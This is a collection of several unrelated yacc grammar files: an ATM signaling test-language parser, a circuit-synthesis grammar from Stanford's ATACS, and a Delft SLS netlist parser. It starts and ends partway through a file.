else $$ = yylval + 8; /* disable other messages */
}
;
integer : INTEGER
{
$$ = yylval;
}
| FLOAT
{
pr_exit (0214, 40, textval());
$$ = 8; /* disable other messages */
}
;
eos : comment EOL { yylineno++; } ;
comment : /* E */ | ':' ;
%%
void yyerror (char *cs)
{
char *s = textval();
int c = s[0];
s[16] = '\0';
if ((c >= '\0' && c <= ' ') || c > '\176') {
switch (c) {
case '\n': sprintf (s, "eol"); break;
case '\0': sprintf (s, "eof"); break;
default: sprintf (s, "\\%03o", c);
}
}
pr_exit (074, 0, cs);
t_tok = n_tok = 0;
}
|
%{
/* isp.y - Internal Signaling Protocol test generator language */
/* Written 1997,1998 by <NAME>, EPFL-ICA */
#if HAVE_CONFIG_H
#include <config.h>
#endif
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <atm.h>
#include <linux/atmsvc.h>
#include "isp.h"
static struct atmsvc_msg msg;
%}
%union {
char *str;
int num;
enum atmsvc_msg_type type;
VAR *var;
};
%token TOK_SEND TOK_WAIT TOK_RECEIVE TOK_HELP TOK_SET TOK_SHOW TOK_ECHO
%token TOK_VCC TOK_LISTEN TOK_LISTEN_VCC TOK_REPLY TOK_PVC
%token TOK_LOCAL TOK_QOS TOK_SVC TOK_BIND TOK_CONNECT TOK_ACCEPT
%token TOK_REJECT TOK_LISTEN TOK_OKAY TOK_ERROR TOK_INDICATE
%token TOK_CLOSE TOK_ITF_NOTIFY TOK_MODIFY TOK_SAP
%token TOK_IDENTIFY TOK_TERMINATE TOK_EOL
%token <str> TOK_VALUE TOK_VARIABLE
%type <type> type
%type <num> field_type number
%type <var> new_var old_var
%%
all:
| command all
;
command:
TOK_SEND type
{
memset(&msg,0,sizeof(msg));
msg.type = $2;
}
values
{
send_msg(&msg);
if (verbose) dump_msg("SENT",&msg);
}
| TOK_RECEIVE
{
recv_msg(&msg);
if (!quiet) dump_msg("RECV",&msg);
}
opt_recv
| TOK_WAIT number
{
sleep($2);
}
| TOK_SET new_var '=' TOK_VALUE
{
assign($2,eval(vt_text,$4));
free($4);
}
| TOK_SHOW
{
VAR *var;
for (var = variables; var; var = var->next) {
printf("%s = ",var->name);
print_value(var->value);
putchar('\n');
}
}
| TOK_ECHO TOK_VALUE
{
printf("%s\n",$2);
free($2);
}
| help
{
fprintf(stderr,
"Commands:\n"
" send msg_type [field=value|field=$var ...]\n"
" receive [msg_type [field=value|field=$var|$var=field ...]]\n"
" set $var=value\n"
" show\n"
" echo value\n"
" help\n\n"
"msg_type: bind, connect, accept, reject, listen, okay, error, indicate,\n"
" close, itf_notify, modify, identify, terminate\n"
"field: vcc, listen_vcc, reply, pvc, local, qos, svc, sap\n");
}
| TOK_EOL
;
type:
TOK_BIND
{
$$ = as_bind;
}
| TOK_CONNECT
{
$$ = as_connect;
}
| TOK_ACCEPT
{
$$ = as_accept;
}
| TOK_REJECT
{
$$ = as_reject;
}
| TOK_LISTEN
{
$$ = as_listen;
}
| TOK_OKAY
{
$$ = as_okay;
}
| TOK_ERROR
{
$$ = as_error;
}
| TOK_INDICATE
{
$$ = as_indicate;
}
| TOK_CLOSE
{
$$ = as_close;
}
| TOK_ITF_NOTIFY
{
$$ = as_itf_notify;
}
| TOK_MODIFY
{
$$ = as_modify;
}
| TOK_IDENTIFY
{
$$ = as_identify;
}
| TOK_TERMINATE
{
$$ = as_terminate;
}
;
values:
| value values
;
value:
field_type '=' old_var
{
cast($3,type_of($1));
store(&msg,$1,$3->value);
}
| field_type '=' TOK_VALUE
{
store(&msg,$1,eval(type_of($1),$3));
free($3);
}
;
number:
TOK_VALUE
{
char *end;
$$ = strtol($1,&end,10);
if (*end) yyerror("invalid number");
free($1);
}
;
opt_recv:
| type
{
if (msg.type != $1) yyerror("wrong message type");
}
fields
;
fields:
| field fields
;
field:
new_var '=' field_type
{
assign($1,pick(&msg,$3));
}
| field_type '=' old_var
{
cast($3,type_of($1));
check(pick(&msg,$1),$3->value);
}
| field_type '=' TOK_VALUE
{
check(pick(&msg,$1),eval(type_of($1),$3));
free($3);
}
;
field_type:
TOK_VCC
{
$$ = F_VCC;
}
| TOK_LISTEN_VCC
{
$$ = F_LISTEN_VCC;
}
| TOK_REPLY
{
$$ = F_REPLY;
}
| TOK_PVC
{
$$ = F_PVC;
}
| TOK_LOCAL
{
$$ = F_LOCAL;
}
| TOK_QOS
{
$$ = F_QOS;
}
| TOK_SVC
{
$$ = F_SVC;
}
| TOK_SAP
{
$$ = F_SAP;
}
;
help:
TOK_HELP
| '?'
;
new_var:
TOK_VARIABLE
{
$$ = lookup($1);
if ($$) free($1);
else $$ = create_var($1);
}
;
old_var:
TOK_VARIABLE
{
$$ = lookup($1);
if (!$$) yyerror("no such variable");
free($1);
}
;
|
/*****************************************************************************/
/* */
/* Automated Timed Asynchronous Circuit Synthesis (ATACS) */
/* */
/* Copyright (C) 1993 by, <NAME> */
/* Center for Integrated Systems, */
/* Stanford University */
/* */
/* Permission to use, copy, modify and/or distribute, but not sell, this */
/* software and its documentation for any purpose is hereby granted */
/* without fee, subject to the following terms and conditions: */
/* */
/* 1. The above copyright notice and this permission notice must */
/* appear in all copies of the software and related documentation. */
/* */
/* 2. The name of Stanford University may not be used in advertising or */
/* publicity pertaining to distribution of the software without the */
/* specific, prior written permission of Stanford. */
/* */
/* 3. This software may not be called "ATACS" if it has been modified */
/* in any way, without the specific prior written permission of */
/* <NAME>. */
/* */
/* 4. THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY */
/* WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. */
/* */
/* IN NO EVENT SHALL STANFORD OR THE AUTHORS OF THIS SOFTWARE BE LIABLE */
/* FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY */
/* KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR */
/* PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON */
/* ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE */
/* OR PERFORMANCE OF THIS SOFTWARE. */
/* */
/*****************************************************************************/
%{
#include "ly.h"
#include "makedecl.h"
#include "tersgen.h"
int yylex ();
int yyerror(string s);
extern FILE *yyin;
string msbinvalid(string S)
{
return(NULL);
}
%}
%start module
%union yystacktype
{
int intval;
double floatval;
char *stringval;
actionADT actionptr;
TERstructADT TERSptr;
delayADT delayval;
bool boolval;
}
%token ID DELAY INT
%token INT INIT MOD ENDMOD PROC ENDPROC BOOL PORT
%token ARROW PARA DEL PAS ACT BOOLEAN SLASH SKIP
%type <TERSptr> processes process body /* statement */ action skip
%type <TERSptr> guardstruct guardcmdset guardcmd
%type <TERSptr> expr conjunct literal
%type <delayval> delay
%type <intval> INT BOOL PORT
%type <boolval> INIT
%nonassoc <actionptr> ID
%left '|' PARA
%left ';'
%left ARROW
%%
module : MOD ID ';' decls processes ENDMOD
{ checkclosed($5);
emitters($2->label,$5);
TERSdelete($5); }
;
decls : decls decl
| decl
;
decl : delaydecl
| booldecl
| portdecl
;
delaydecl : DEL ID '=' delay ';'
{ makedelaydecl($2,$4); }
;
booldecl : BOOL ID ';'
{ makebooldecl($1,$2,FALSE,0,INFIN,0,INFIN); }
| BOOL ID '=' '{' INIT '}' ';'
{ makebooldecl($1,$2,$5,0,INFIN,0,INFIN); }
| BOOL ID '=' '{' delay '}' ';'
{ makebooldecl($1,$2,FALSE,$5.lr,$5.ur,$5.lf,$5.uf);}
| BOOL ID '=' '{' INIT ',' delay '}' ';'
{ makebooldecl($1,$2,$5,$7.lr,$7.ur,$7.lf,$7.uf); }
;
portdecl : PORT ID ';'
{ makeportdecl($1,$2,FALSE,0,INFIN,0,INFIN,
0,INFIN,0,INFIN,1,1); }
| PORT ID '=' '{' INIT '}' ';'
{ makeportdecl($1,$2,$5,0,INFIN,0,INFIN,
0,INFIN,0,INFIN,1,1); }
| PORT ID '=' '{' delay ',' delay '}' ';'
{ makeportdecl($1,$2,FALSE,$5.lr,$5.ur,$5.lf,$5.uf,
$7.lr,$7.ur,$7.lf,$7.uf,1,1); }
| PORT ID '=' '{' '(' INT ',' INT ')' '}' ';'
{ makeportdecl($1,$2,FALSE,0,INFIN,0,INFIN,
0,INFIN,0,INFIN,$6,$8); }
| PORT ID '=' '{' INIT ',' delay ',' delay '}' ';'
{ makeportdecl($1,$2,$5,$7.lr,$7.ur,$7.lf,$7.uf,
$9.lr,$9.ur,$9.lf,$9.uf,1,1); }
| PORT ID '=' '{' INIT ',' '(' INT ',' INT ')' '}' ';'
{ makeportdecl($1,$2,$5,0,INFIN,0,INFIN,
0,INFIN,0,INFIN,$8,$10); }
| PORT ID '=' '{' delay ',' delay ','
'(' INT ',' INT ')' '}' ';'
{ makeportdecl($1,$2,FALSE,$5.lr,$5.ur,$5.lf,$5.uf,
$7.lr,$7.ur,$7.lf,$7.uf,$10,$12); }
| PORT ID '=' '{' INIT ',' delay ',' delay ','
'(' INT ',' INT ')' '}' ';'
{ makeportdecl($1,$2,$5,$7.lr,$7.ur,$7.lf,$7.uf,
$9.lr,$9.ur,$9.lf,$9.uf,$12,$14); }
;
delay : '<' INT ',' INT ';' INT ',' INT '>'
{ assigndelays(&($$),$2,$4,$6,$8); }
| '<' INT ',' INT '>'
{ assigndelays(&($$),$2,$4,$2,$4); }
| ID
{ checkdelay($1->label,$1->type);
assigndelays(&($$),$1->delay.lr,$1->delay.ur,
$1->delay.lf,$1->delay.uf); }
;
processes : processes process
{ $$ = TERScompose($1,$2,"||"); }
| process
;
process : PROC ID ';' body ENDPROC
{ $$ = TERSrepeat($4);
emitters($2->label,$$); }
;
/*
body : body ';' statement
{ $$ = TERScompose($1,TERSrename($1,$3),";"); }
| statement
;
*/
action : ID
{ $$ = TERS($1,FALSE,$1->lower,$1->upper); }
| '<' INT ',' INT '>' ID
{ $$ = TERS($6,FALSE,$2,$4); }
| skip
;
skip : SKIP
{ $$ = TERSempty(); }
;
body : body '|' body
{ $$ = TERScompose($1,TERSrename($1,$3),"|"); }
| body ';' body
{ $$ = TERScompose($1,TERSrename($1,$3),";"); }
| body PARA body
{ $$ = TERScompose($1,$3,"||");}
| '(' body ')'
{ $$ = $2; }
| action
| guardstruct
;
guardstruct : '[' guardcmdset ']'
{ $$=$2; }
| '[' expr ']'
{ $$ = $2; }
| '*' '[' body ']'
{ $$=TERSmakeloop($3); }
;
guardcmdset : guardcmdset '|' guardcmd
{ $$ = TERScompose($1,TERSrename($1,$3),"|"); }
| guardcmd
;
guardcmd : expr ARROW body
{ $$ = TERScompose($1,TERSrename($1,$3),";"); }
| expr ARROW body ';' '*'
{ $$ = TERScompose($1,TERSrename($1,$3),";");
$$ = TERSmakeloop($$); }
;
expr : expr '|' conjunct
{ $$ = TERScompose($1,TERSrename($1,$3),"|"); }
| conjunct
;
conjunct : conjunct '&' literal
{ $$ = TERScompose($1,$3,"||"); }
| literal
;
literal : ID
{ $$ = TERS($1,TRUE,$1->lower,$1->upper); }
| ID '#'
{ $$ = probe($1,0); }
| ID '(' INT ')' '#'
{ $$ = probe($1,$3); }
| '(' expr ')'
{ $$ = $2; }
| skip
;
%%
|
<filename>src/match/yacc.y
%{
static char *rcsid = "$Id: yacc.y,v 1.1 2018/04/30 12:17:56 simon Exp $";
/*
* ISC License
*
* Copyright (C) 1986-2018 by
* <NAME>
* <NAME>
* <NAME>
* <NAME>
* <NAME>
* Delft University of Technology
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/*
* Yacc input specification.
* The grammer specified is used to parse an
* SLS description of a circuit.
*/
#include "src/match/head.h"
#include "src/match/proto.h"
/* FUNCTIONS:
*/
Private void resynch (int c);
/* VARIABLES:
*/
Import int yydebug, yylineno;
Import FILE *yyin;
Import long n_list_alloc;
Public string string_cap = "cap";
Public string string_res = "res";
Public string string_nenh = "nenh";
Public string string_penh = "penh";
Public string string_ndep = "ndep";
Public string string_inv = "invert";
Public string string_nand = "nand";
Public string string_nor = "nor";
Public string string_and = "and";
Public string string_or = "or";
Public string string_exor = "exor";
Public string string_l = "l";
Public string string_n = "n";
Public string string_p = "p";
Public string string_v = "v";
Public string string_w = "w";
Public string string_x = "x";
Public string string_y = "y";
Public network *cur_network;
Private object *cur_object;
Private object *cur_device;
Private int cur_type, conn_mode;
Private int ignore, attr_cnt, inst_cnt;
Private string attr_name[10], attr_value[10];
Private int add_instance (string iname, string cname, int cnt);
Public hash *nlist;
Import hash *def_h;
Import stack *net_st;
Import string cur_file;
Import boolean r_opt;
Import boolean c_opt;
#ifdef DEBUG
#define YYDEBUG 1
#endif
#define PRIME 1009
%}
%union {
int ival;
string sval;
list *lstp;
pair *prpt;
}
%token <sval> IDENTIFIER INTEGER FLOAT
%token NETWORK FUNCTION PRIM TERMNL NT EXT PERM
%token NENH PENH NDEP RES CAP
%type <ival> type_id i_val
%type <sval> ttype node_name inst_name name attr_val ident
%type <sval> inst_def tor_def res_def cap_def fun_def call_def
%type <sval> f_float netw_name
%type <lstp> class_list class atom_list vnode_list
%type <lstp> ps_node_list net_node_list connect_list connects
%type <lstp> connect internal_ref node_ref
%type <prpt> sb_index_list index_list index
%type <prpt> sb_range_list range_list range
%start sls_descr
%%
sls_descr : netw_descr
| sls_descr netw_descr
;
netw_descr : netw_head decl_part netw_body
{
list *lp, *tmp;
if (nlist) { rm_hash (nlist); nlist = NULL; }
inst_cnt = 0;
if (h_get (def_h, cur_network -> name)) {
verb_mesg ("Network: '%s' already extracted\n", cur_network -> name);
rm_network (cur_network);
cur_network = NULL;
while ((lp = (list *) pop (net_st))) {
do { lp = (tmp = lp) -> cdr; rm_list (tmp); } while (lp);
}
}
else {
verb_mesg ("Network: '%s' extracted\n", cur_network -> name);
h_link (def_h, cur_network -> name, cur_network);
while ((lp = (list *) pop (net_st))) merge (cur_network, lp);
}
}
;
netw_head : type_id NETWORK netw_name
{
ignore = ($1 == PRIMITIVE)? 3 : 0;
cur_network = mk_network ($3, $1);
if (!ignore) nlist = mk_hash (PRIME);
}
| type_id FUNCTION netw_name
{
char nme[DM_MAXNAME+2];
sprintf (nme, "@%s", $3);
cur_network = mk_network (nme, PRIMITIVE);
ignore = 3;
}
;
type_id : /* empty */ { $$ = COMPOUND; }
| PRIM { $$ = PRIMITIVE; }
| EXT { $$ = PRIMITIVE; }
;
decl_part : '(' type_decl_list ')'
| error {
resynch (')');
yyerrok;
yyclearin;
}
;
netw_body : '{' stmt_list '}'
| '{' PERM p_expr ';' '}'
| /* empty */
;
p_expr : '{' class_list '}'
{
list *class, *lp, *next;
if (!ignore) user_mesg ("In sls file '%s' line %d: warning: network '%s' not primitive\n", cur_file, yylineno, cur_network->name);
set_termcol (cur_network, $2);
for (class = $2; class; class = next) {
for (lp = class -> car; lp; lp = next) {
next = lp -> cdr;
rm_list (lp);
}
next = class -> cdr;
rm_list (class);
}
}
;
class_list : class {
$$ = add_list (NULL, $1);
}
| class_list class
{
$$ = add_list ( $1 , $2);
}
;
class : '(' atom_list ')'
{
$$ = $2;
}
;
atom_list : ident {
object *term = is_term (cur_network, $1);
if (!term) err_mesg ("Network '%s', perm: terminal '%s' undefined\n", cur_network->name, $1);
rm_symbol ($1);
$$ = add_list (NULL, term);
}
| atom_list ',' ident
{
object *term = is_term (cur_network, $3);
if (!term) err_mesg ("Network '%s', perm: terminal '%s' undefined\n", cur_network->name, $3);
rm_symbol ($3);
$$ = add_list ( $1 , term);
}
;
ident : IDENTIFIER { $$ = $1; }
| IDENTIFIER '[' i_val ']'
{
char buf[100];
sprintf (buf, "%s[%d]", $1, $3);
rm_symbol ($1);
$$ = mk_symbol (buf);
}
;
type_decl_list : type_decl
| type_decl_list ';' type_decl
;
type_decl : TERMNL term_decl_list
;
term_decl_list : term_decl
| term_decl_list ',' term_decl
;
term_decl : name {
cur_object = mk_object ($1, TERMINAL);
rm_symbol ($1);
}
sb_range_list
{
pair *p, *next;
for (p = $3; p; p = next) {
next = p -> next;
array (cur_object, p->first, p->last);
rm_pair (p);
}
add_object (cur_network, cur_object);
}
;
stmt_list : /* empty */
| stmt_list statement
;
statement : net_stmt ';'
| inst_stmt ';'
| /* nul */ ';'
| error {
resynch (';');
yyerrok;
yyclearin;
}
;
net_stmt : NT '{' net_spec '}'
;
net_spec : vnode_list
{
if ($1) {
list *ThiS, *next, *prev, *head;
if ($1 -> cdr) { /* merge element wise */
for (next = $1; next; next = next -> cdr) {
while (next -> car) {
head = NULL;
for (ThiS = next; ThiS; ThiS = ThiS -> cdr) {
if ((prev = ThiS -> car)) {
ThiS -> car = prev -> cdr;
prev -> cdr = head;
head = prev;
}
}
push (net_st, head);
}
}
}
else { /* only define */
for (ThiS = $1 -> car; ThiS; ThiS = next) {
next = ThiS -> cdr; rm_list (ThiS);
}
}
for (ThiS = $1; ThiS; ThiS = next) {
next = ThiS -> cdr; rm_list (ThiS);
}
}
}
| net_node_list /* merge nets to one */
{
if ($1) push (net_st, invert_list ($1));
}
;
vnode_list : ps_node_list { $$ = $1; } /* define only */
| vnode_list ',' ps_node_list /* cluster operation */
{
if ($3) $3 -> cdr = $1;
$$ = $3;
}
;
ps_node_list : '(' net_node_list ')'
{
$$ = $2 ? add_list (NULL, invert_list ($2)) : NULL;
}
;
net_node_list : node_ref { $$ = $1; }
| net_node_list ',' node_ref
{
if ($3) {
list *l = $3;
while (l -> cdr) l = l -> cdr;
l -> cdr = $1;
}
$$ = $3;
}
;
inst_stmt : '{' inst_name sb_range_list '}' inst_def connect_list
{
pair *next, *p;
list *l, *d, *n, *m;
int n_devs, cnt, nt;
++inst_cnt;
/* count number of devices */
n_devs = 1;
for (p = $3; p; p = p -> next) {
if (p->last > p->first) n_devs *= (p->last - p->first) + 1;
if (p->last < p->first) n_devs *= (p->first - p->last) + 1;
}
if (!ignore) {
/* count number of nets */
cnt = 0; for (l = $6; l; l = l -> cdr) ++cnt;
nt = add_instance ($2, $5, cnt / n_devs);
if (cnt != n_devs * nt) err_mesg ("In sls file '%s' line %d: incorrect number of nets\n", cur_file, yylineno);
for (p = $3; p; p = next) {
next = p -> next;
array (cur_device, p->first, p->last);
rm_pair (p);
}
netw_connect (cur_device, $6, cnt / n_devs, conn_mode);
add_object (cur_network, cur_device);
}
else if (ignore == 1) { /* RES */
if (conn_mode == INST_MAJOR) {
cnt = 0;
for (l = $6; l && l->cdr; l = n) {
d = l->cdr; n = d->cdr;
l->cdr = NULL; d->cdr = l; /* invert_list */
push (net_st, d);
++cnt;
}
if (l || cnt != n_devs) err_mesg ("In sls file '%s' line %d: incorrect number of nets\n", cur_file, yylineno);
}
else {
d = l = $6;
for (cnt = 0; cnt < n_devs && d; ++cnt) d = d -> cdr;
for (cnt = 0; cnt < n_devs && d; ++cnt) {
n = l->cdr; m = d->cdr;
l->cdr = NULL; d->cdr = l; /* invert_list */
push (net_st, d);
l = n; d = m;
}
if (d || cnt != n_devs) err_mesg ("In sls file '%s' line %d: incorrect number of nets\n", cur_file, yylineno);
}
ignore = 0;
}
else if (ignore == 2) { /* CAP */
ignore = 0;
}
attr_cnt = 0;
}
| inst_def connect_list
{
char iname[20];
int cnt, nt;
list *l, *d;
++inst_cnt;
if (!ignore) {
/* count number of nets (device pins) */
cnt = 0; for (l = $2; l; l = l -> cdr) ++cnt;
sprintf (iname, "_%u", inst_cnt);
nt = add_instance (iname, $1, cnt);
if (cnt != nt) err_mesg ("In sls file '%s' line %d: incorrect number of nets\n", cur_file, yylineno);
netw_connect (cur_device, $2, cnt, INST_MAJOR);
add_object (cur_network, cur_device);
}
else if (ignore == 1) { /* RES */
l = $2; d = l->cdr;
if (!d || d->cdr) err_mesg ("In sls file '%s' line %d: incorrect number of nets\n", cur_file, yylineno);
l->cdr = NULL; d->cdr = l; /* invert_list */
push (net_st, d);
ignore = 0;
}
else if (ignore == 2) { /* CAP */
ignore = 0;
}
attr_cnt = 0;
}
;
inst_def : tor_def | res_def | cap_def | fun_def | call_def
;
tor_def : ttype attr_list { cur_type = 'd'; $$ = $1; }
;
fun_def : '@' name attr_list { cur_type = 'f'; $$ = $2; }
;
res_def : RES f_float { cur_type = 'r'; $$ = $2; if (r_opt && !ignore) ignore = 1; }
;
cap_def : CAP f_float { cur_type = 'c'; $$ = $2; if (c_opt && !ignore) ignore = 2; }
;
call_def : name { cur_type = 'n'; $$ = $1; }
;
netw_name : ttype { $$ = $1; }
| RES { $$ = string_res; }
| CAP { $$ = string_cap; }
| name { $$ = $1; }
;
ttype : NENH { $$ = string_nenh; }
| PENH { $$ = string_penh; }
| NDEP { $$ = string_ndep; }
;
attr_list : /* empty */
| attr_list attribute
;
attribute : name '=' attr_val
{
attr_name [attr_cnt] = $1;
attr_value[attr_cnt] = $3;
attr_cnt++;
}
;
attr_val : INTEGER { $$ = $1; }
| IDENTIFIER { $$ = $1; }
| FLOAT { $$ = $1; }
;
f_float : INTEGER { $$ = $1; }
| FLOAT { $$ = $1; }
;
connect_list : '(' connects ')' { $$ = invert_list ($2); conn_mode = INST_MAJOR; }
| '{' connects '}' { $$ = invert_list ($2); conn_mode = PARM_MAJOR; }
;
connects : connect { $$ = $1; }
| connects ',' connect
{
if ($3) {
list *ThiS = $3;
/* determine tail of list */
while (ThiS -> cdr) ThiS = ThiS -> cdr;
ThiS -> cdr = $1; /* merge lists */
}
$$ = $3;
}
;
connect : internal_ref { $$ = $1; }
| node_ref { $$ = $1; }
| /* empty */ { $$ = (ignore < 2)? add_list (NULL, NULL) : NULL; }
;
internal_ref : sb_index_list '.' node_ref
{ $$ = $3; } /* Not Yet Implemented */
;
node_ref : node_name sb_index_list
{
list *head = NULL;
char nme[DM_MAXNAME+20];
object *tmp;
pair *cur_pair, *sub_pairs;
if (ignore < 2) {
if ((sub_pairs = $2)) {
do {
make_index ($1, sub_pairs, nme);
if (!(tmp = is_net (cur_network, nme))) {
tmp = mk_object (nme, NET); add_object (cur_network, tmp);
}
head = add_list (head, tmp);
} while (incr_index (sub_pairs));
/* clean up */
do {
cur_pair = sub_pairs;
sub_pairs = sub_pairs -> next;
rm_pair (cur_pair);
} while (sub_pairs);
}
else {
if (!(tmp = is_net (cur_network, $1))) {
tmp = mk_object ($1, NET); add_object (cur_network, tmp);
}
head = add_list (head, tmp);
}
}
$$ = head;
}
;
node_name : INTEGER { $$ = $1; }
| name { $$ = $1; }
;
inst_name : name { $$ = $1; }
| '.' { $$ = mk_symbol ("."); }
;
name : IDENTIFIER { $$ = $1; }
;
sb_index_list : /* empty */ { $$ = NULL; }
| '[' index_list ']' { $$ = $2; }
;
index_list : index { $$ = $1; }
| index_list ',' index
{
if ($3) $3 -> next = $1;
$$ = $3;
}
;
index : i_val {
if (ignore < 2) {
$$ = mk_pair();
$$ -> first = $1;
$$ -> last = $1;
$$ -> index = $1;
}
else
$$ = NULL;
}
| range { $$ = $1; }
;
sb_range_list : /* empty */ { $$ = NULL; }
| '[' range_list ']' { $$ = $2; }
;
range_list : range { $$ = $1; }
| range_list ',' range
{
if ($3) $3 -> next = $1;
$$ = $3;
}
;
range : i_val '.' '.' i_val
{
if (ignore < 2) {
$$ = mk_pair();
$$ -> first = $1;
$$ -> last = $4;
$$ -> index = $1;
}
else
$$ = NULL;
}
;
i_val : INTEGER { $$ = atoi ($1); rm_symbol ($1); }
;
%%
#include "lex.h"
void yyerror (char *s)
{
fprintf (stderr, "%s in line %d of sls file '%s'\n", s, yylineno, cur_file);
my_exit (1);
}
/*
* Creates a pair structure.
*/
Public pair *mk_pair()
{
pair *p;
Malloc (p, 1, pair);
p -> next = NULL;
p -> first = 0;
p -> last = 0;
p -> index = 0;
return (p);
}
/*
* Removes a structure of type pair.
*/
Public void rm_pair (pair *p)
{
Free (p);
}
/*
* Creates a new list structure on top of 'prev' list
* Returns the new top list pointer.
*/
Public list *add_list (list *prev, void *item)
{
list *ThiS = mk_list();
ThiS -> car = item;
ThiS -> cdr = prev;
return ThiS;
}
/*
* Creates a structure of type list
* and returns a pointer to it.
*/
Private list * empty_lists = NULL;
Public list *mk_list()
{
list *ThiS;
if (empty_lists) {
ThiS = empty_lists;
empty_lists = ThiS -> cdr;
}
else {
Malloc (ThiS, 1, list);
}
n_list_alloc++;
return(ThiS);
}
/*
* Deletes a structure of type list.
*/
Public void rm_list (list *ThiS)
{
ThiS -> cdr = empty_lists;
empty_lists = ThiS;
n_list_alloc--;
}
Private void resynch (int c)
{
int c1, newline = 0;
fprintf (stderr, " \"");
if (yytext) fprintf (stderr, "%s", yytext);
while ((c1 = input()) != c) {
if (!(newline = (newline || ((c1=='\n')?1:0))))
fprintf (stderr, "%c", c1);
}
fprintf (stderr, "\"\n");
}
/*
* Inverts the order of the specified single linked
* list and returns a pointer to the new list head.
*/
Public list *invert_list (list *next)
{
list *head, *prev;
head = NULL;
while (next)
{
prev = head; /* prev trails head */
head = next; /* head trails next */
next = head -> cdr;
head -> cdr = prev; /* link head to prev node */
}
return (head);
}
/*
* Returns the name extended with the proper
* indices indicated by "list".
*/
Public void make_index (string name, pair *a_list, string work)
{
long stck[20];
pair *p;
int i, sp = 0;
for (p = a_list; p; p = p -> next) stck[sp++] = p->index;
if (sp) {
sprintf (work, "%s[", name);
i = strlen (work);
while (--sp) {
sprintf (work+i, "%ld,", stck[sp]);
i += strlen (work+i);
}
sprintf (work+i, "%ld]", stck[sp]);
}
else
strcpy (work, name);
}
/*
* Increments the set of indices of 'a_list' by one.
* When no increment is possible (all indices have
* reached their upper bound) False is returned.
*/
Public boolean incr_index (pair *a_list)
{
pair *p;
for (p = a_list; p; p = p -> next) {
if (p -> last > p -> first) {
if (++p -> index <= p -> last) return (True);
} else {
if (--p -> index >= p -> last) return (True);
}
p -> index = p -> first;
}
return (False);
}
Private network *check_elm (string elm)
{
network *n_network;
object *term;
if (!(n_network = h_get (def_h, elm))) { /* cap and res */
n_network = mk_network (elm, PRIMITIVE);
term = mk_object (string_p, TERMINAL); add_object (n_network, term); term -> color = 2;
term = mk_object (string_n, TERMINAL); add_object (n_network, term); term -> color = 2;
h_link (def_h, n_network -> name, n_network);
}
return n_network;
}
Private network *check_tor (string nme, int cnt)
{
network *n_network;
object *term;
if (!(n_network = h_get (def_h, nme))) { /* nenh, penh, ndep */
long prime;
n_network = mk_network (nme, PRIMITIVE);
rewind_gen ();
prime = gen_prime ();
term = mk_object ("g", TERMINAL); add_object (n_network, term); term -> color = prime;
prime = gen_prime ();
term = mk_object ("d", TERMINAL); add_object (n_network, term); term -> color = prime;
term = mk_object ("s", TERMINAL); add_object (n_network, term); term -> color = prime;
if (cnt == 4) {
prime = gen_prime ();
term = mk_object ("b", TERMINAL); add_object (n_network, term); term -> color = prime;
}
else Assert (cnt == 3);
h_link (def_h, n_network -> name, n_network);
}
return n_network;
}
Private network *check_fun (string name, int ninputs)
{
char nme[DM_MAXNAME+3];
network *n_network;
object *term;
if (strcmp (name, string_inv) == 0
|| strcmp (name, string_nand) == 0
|| strcmp (name, string_nor) == 0
|| strcmp (name, string_and) == 0
|| strcmp (name, string_or) == 0
|| strcmp (name, string_exor) == 0) {
Assert (ninputs > 0 && ninputs < 10);
if (ninputs > 1) {
sprintf (nme, "@%s%d", name, ninputs);
} else {
sprintf (nme, "@%s", name);
}
if (!(n_network = h_get (def_h, nme))) {
long prime;
int i;
n_network = mk_network (nme, PRIMITIVE);
rewind_gen ();
prime = gen_prime ();
for (i = 0; i < ninputs; ++i) {
sprintf (nme, "i[%d]", i);
term = mk_object (nme, TERMINAL); add_object (n_network, term); term -> color = prime;
}
term = mk_object ("o", TERMINAL); add_object (n_network, term); term -> color = gen_prime ();
h_link (def_h, n_network -> name, n_network);
}
}
else {
sprintf (nme, "@%s", name);
if (!(n_network = h_get (def_h, nme)))
err_mesg ("In file '%s' line %d: function '%s' undefined\n", cur_file, yylineno, name);
}
return n_network;
}
Private int add_instance (string iname, string cname, int cnt)
{
network *n_network;
int nt = 2;
switch (cur_type) {
case 'c':
if (c_opt) break;
n_network = check_elm (string_cap);
cur_device = mk_device (iname, n_network);
set_par (cur_device, string_v, cname);
break;
case 'r':
if (r_opt) break;
n_network = check_elm (string_res);
cur_device = mk_device (iname, n_network);
set_par (cur_device, string_v, cname);
break;
case 'd':
n_network = check_tor (cname, cnt);
cur_device = mk_device (iname, n_network);
while (--attr_cnt >= 0) set_par (cur_device, attr_name[attr_cnt], attr_value[attr_cnt]);
nt = n_network -> n_terms;
break;
case 'f':
n_network = check_fun (cname, cnt - 1);
cur_device = mk_device (iname, n_network);
while (--attr_cnt >= 0) set_par (cur_device, attr_name[attr_cnt], attr_value[attr_cnt]);
nt = n_network -> n_terms;
break;
default:
Assert (cur_type == 'n');
if (!(n_network = h_get (def_h, cname)))
err_mesg ("In file '%s' line %d: network '%s' undefined\n", cur_file, yylineno, cname);
